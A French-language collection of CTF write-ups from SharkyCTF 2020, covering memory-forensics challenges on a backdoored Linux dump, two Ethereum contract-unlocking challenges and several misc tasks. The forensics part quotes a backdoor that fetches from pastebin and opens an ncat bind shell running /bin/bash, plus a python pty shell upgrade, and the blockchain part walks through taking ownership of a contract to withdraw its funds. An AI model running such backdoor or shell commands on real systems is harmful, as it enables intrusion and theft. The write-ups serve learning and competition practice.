Flag : shkCTF{2854:ncat:2020-05-07 14:56:54}
Solved and WU by Penthium2
EzDump Entry Point (Forensic 200 pts)
We do not understand how this process was launch.
Take a look at what k3vin did to find out where is the backdoor.
The dump is the same as the one from EzDump - Build me.
Creator: 2phi
Le point d'entré de la backdoor vient surement de l'extérieur et via une action de K3vin : dans l'historique de bash on voit qu'il fait un git sur une application de backup. on la récupère :
git clone https://github.com/tw0phi/PythonBackup
après analyse des différents fichiers on tombe sur le ficher snapshot.py avec une ligne interessante :
wget -O - https://pastebin.com/raw/nQwMKjtZ
### Congratz : c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=
nohup ncat -lvp 12345 -4 -e /bin/bash > /dev/null 2>/dev/null &
#Si on décode le base64
echo "c2hrQ1RGe3RoNHRfdzRzXzRfZHVtYl9iNGNrZDAwcl84NjAzM2MxOWUzZjM5MzE1YzAwZGNhfQo=" | base64 -d
shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}
flag : shkCTF{th4t_w4s_4_dumb_b4ckd00r_86033c19e3f39315c00dca}
Solved & WU by penthium2
EzDump Compromised - (Forensic 200 pts)
We do not understand. We changed the password of k3vin but it look's like someone can still access his account.
Can you please find out how the hacker did ?
Be careful you only have 10 attempts.
The dump is the same as the one from EzDump - Build me.
Creator: 2phi
Si un attanquand peut venir sur un post sous l'identité d'un utilisateur alors qu'on a changer sont mot de passe, c'est généralement du a un échange de clef RSA pouyr ssh ( ~/.ssh/authorized_keys )
On recherche cela :
volatility --profile=LinuxCentos7_3_10_1062x64 -f dump.mem linux_yarascan -Y "authorized" -p 3196 > linux_vim```
....
Task: vim pid 3196 rule r1 addr 0x2503525
0x02503525 61 75 74 68 6f 72 69 7a 65 64 5f 6b 65 79 73 00 authorized_keys.
0x02503535 23 20 57 65 6c 6c 20 70 6c 61 79 65 64 20 3a 20 #.Well.played.:.
0x02503545 63 32 68 72 51 31 52 47 65 33 4a 6a 4c 6d 77 77 c2hrQ1RGe3JjLmww
0x02503555 59 7a 52 73 58 7a 46 7a 58 32 5a 31 62 6d 35 35 YzRsXzFzX2Z1bm55
0x02503565 58 32 4a 6c 4d 6a 51 33 4d 6d 4e 6d 59 57 56 6c X2JlMjQ3MmNmYWVl
0x02503575 5a 44 51 32 4e 32 56 6a 4f 57 4e 68 59 6a 56 69 ZDQ2N2VjOWNhYjVi
0x02503585 4e 57 45 7a 4f 47 55 31 5a 6d 45 77 66 51 6f 3d NWEzOGU1ZmEwfQo=
On décode le base64
echo "c2hrQ1RGe3JjLmwwYzRsXzFzX2Z1bm55X2JlMjQ3MmNmYWVlZDQ2N2VjOWNhYjViNWEzOGU1ZmEwfQo=" | base64 -d
FLAG : shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}
FLAG : shkCTF{rc.l0c4l_1s_funny_be2472cfaeed467ec9cab5b5a38e5fa0}
Solved & WU by penthium2
Warmup - (Blockchain 97)
Unlock this contract to get the money :-)
Link to the blockchain challenges platform : ethereum
Creator : 2phi
Pour commencer il faut créer un wallet (porte-feuille).
MetaMask est une extension web permettant de créer et gérer son wallet.
https://metamask.io/
Il faut de l’ether de test dans notre wallet pour effectuer le challenge
Sur https://faucet.ropsten.be/ on peut demander de l’ether de test.
( Copier l'adresse du wallet puis mettre l’adresse qu’on a copié dans la demande )
Revenon sur le chall, on selectionne le level 0 et sur Instanciate.
Parallèlement on se rend sur l’IDE. https://remix.ethereum.org/
On sélectionne l’environnement SOLIDITY.
On copie le contrat du chall dans un nouveau fichier warmup.sol dans l’explorateur de fichier de l’IDE.
Sous l’onglet SOLIDITY COMPILER, on choisi la bonne version du compiler (0.4.25+commit) et on compile warmup.sol puis dans DEPLOY & RUN, on selectionne Injected Web3
La demande de transaction apparait
Après avoir accepté, on choisit le fichier compilé dans Contract (warmup.sol) SANS CONFIRMER LE DEPLOY
Pendant ce temps, une adresse est apparue a coté du bouton instanciate (sur la page du challenge ethereum)
En allant sur At Address, on constate que le contrat des déployé, 2 boutons apparues nous interèsse :
En analysant le code , on peut voir la variable "locked" de type booléen qui est à la valeur True par défaut avec le Constructor.
Ensuite la fonction withdraw().
Cette fonction nécéssite que la variable locked soit à la valeur False pour que la transaction soit correcte.
Pour que la variable locked soit à False, il faut d’abord exécuter la fonction unlock.
En observant la fonction unlock, on voit qu’il est requis que la transaction ai une valeur de 0.005 ether.
On met donc 0.005 ether dans la valeur de la transaction sur l’IDE puis on valide
On confirme sur la page de confirmation de transaction
Une fois la transaction effectuée on clique sur withdraw mais cette fois avec 0 ether dans la valeur de la transaction.
On reconfirme la transaction
Si tout s’est bien passé, sur la page du challenge on clique sur get flag et le flag apparaîtra puisque le contrat est unique et qu’il a détecté que les transactions ont bien été effectués.
Solve & WU by lednarek
Logic - (Blockchain 195 pts)
Will you be able to steal the money from this easy contract ?
Link to the blockchain challenges platform : ethereum
Creator : 2phi
Sur la page http://ethereum.sharkyctf.xyz/level/1 on analyse le code
pragma solidity = 0.4.25;
contract Logic {
address public owner;
bytes32 private passphrase = "th3 fl4g 1s n0t h3r3";
constructor() public payable {
owner = msg.sender;
}
function withdraw() public {
require(msg.sender == owner);
msg.sender.call.value(address(this).balance)();
}
function claim(bytes32 _secret) public payable {
require(msg.value == 0.05 ether && _secret == passphrase);
owner = msg.sender;
}
}
Pour valider la transaction avec la fonction withdraw il faut :
- owner = msg.sender
Cela veut dire qu'il faut d'abord valider une transaction avec la fonction claim. Et pour cela il faut :
- 0.05 ether dans la transaction
- Que l’argument passer à cette fonction soit égale à la variable passphrase définit au début du contrat.
Pour qu’il y ai 0.5 ether dans la transaction, on sait déjà le faire mais pour l’argument c’est tout nouveau.
Si on regarde bien, on voit que l’argument doit être au format Bytes32.
Logiquement si on met la passphrase “th3 fl4g 1s n0t h3r3” en Bytes32 et qu’on l’indique en argument lors de la transaction ça passe.
J’ai rencontré quelques problèmes lors de la conversion en Bytes32, le format n’était jamais bon avec la console du navigateur.
J’ai donc trouvé un site: https://blockchangers.github.io/solidity-converter-online/ .
Il m’a permit d’avoir le bon format:
Plus qu’à assembler tout ça dans l’IDE Remix.
On commence par créer notre fichier logic.sol avec le code du contrat et on le compile.
Ensuite DEPLOY & RUN
On renseigne ce qu’on a trouvé avec le Bytes32 converter online dans la textbox à côté de claim.
Normalement la transaction se passe bien.
Pour finir on fait une transaction avec withdraw (et 0 ether).
A la fin de cette transaction on retourne sur le chall et on clic sur get flag et le flag apparaît.
Solve & WR by lednarek
Welcome - (MISC 10 pts)
Join us on discord :-)
https://discord.gg/xaqMb44
Solve & WU by Phr3iz3r
Trolled - (MISC 50 pts)
When we go the this page chall, it’s refresh automatically so impossible to see what we have. Take Burp and make some step by step… And you will see the flag :
Just put it and just continue to forward all requests and it will be validated
Solved & WU by Phr3iz3r
Erwin's file manager - (MISC 197 pts)
Erwin just built himself a website. He is talking about quantum information science but in the end he doesn't know much about infosec. Could you help him fulfill his goal by reapplying quantum concept on this website ?
Creator: MasterFoxhttp://erwin.sharkyctf.xyz
So we have a file upload with the source code :
So to have the complete flag we need :
- A polyglot file with ELF and JAR and PDF
- A polyglot file with ELF and JAR
- A polyglot file with JPG and JAR
Thanks to the awesome internet, we have this github repo with a lot of polyglot file :
Just take all files you needed (It can be more it doesn’t matter like PDF+ELF+ODT+JAR) and you will have your flag :
flag : shkCTF{Schr0diNgeR_w4s_A_gRea7_p01yg1o7_4e78011325dfbe4a05fd533ea422cc94}
Solve & WU by Phr3iz3r
EZDUMP Attacker - (Forensics 200 pts)
We need to report this cyberattack. Please find out who is this asshole and what is one of the first thing he did !
Retrieve :
- Attacker IP
- Local port used by the attacker
- The bash command using python
Format : shkCTF{ip:port:the command you found}
The dump is the same as the one from EzDump - Build me.
Creator: 2phi
Okay so if we check all the process with the command linux_psaux with volatility we have this :
We can see a famous command to get a better shell with python python-c ’import pty; pty.spawn(« /bin/bash »)’
And we can see a port 12345 with the netcat nice ! We need the IP address now, thanks to linux_netstat we can have all connection esatblished by the server
So we have the IP 192.168.49.1
Flag : shkCTF{192.168.49.1:12345:python -c ’import pty; pty.spawn(« /bin/bash»)’}
Solve & WU by Phr3iz3r
C'est avec plaisir que nous avons terminé 95 sur 828 équipes ! En plus d'être la 4eme équipe à avoir flag Pentest
Ce CTF étaient à mon gout très réussi, des challenges originaux, une plateforme "assez" stable malgré quelques petites turbulence
Merci à la team d'orga pour leur sympathie et professionnalisme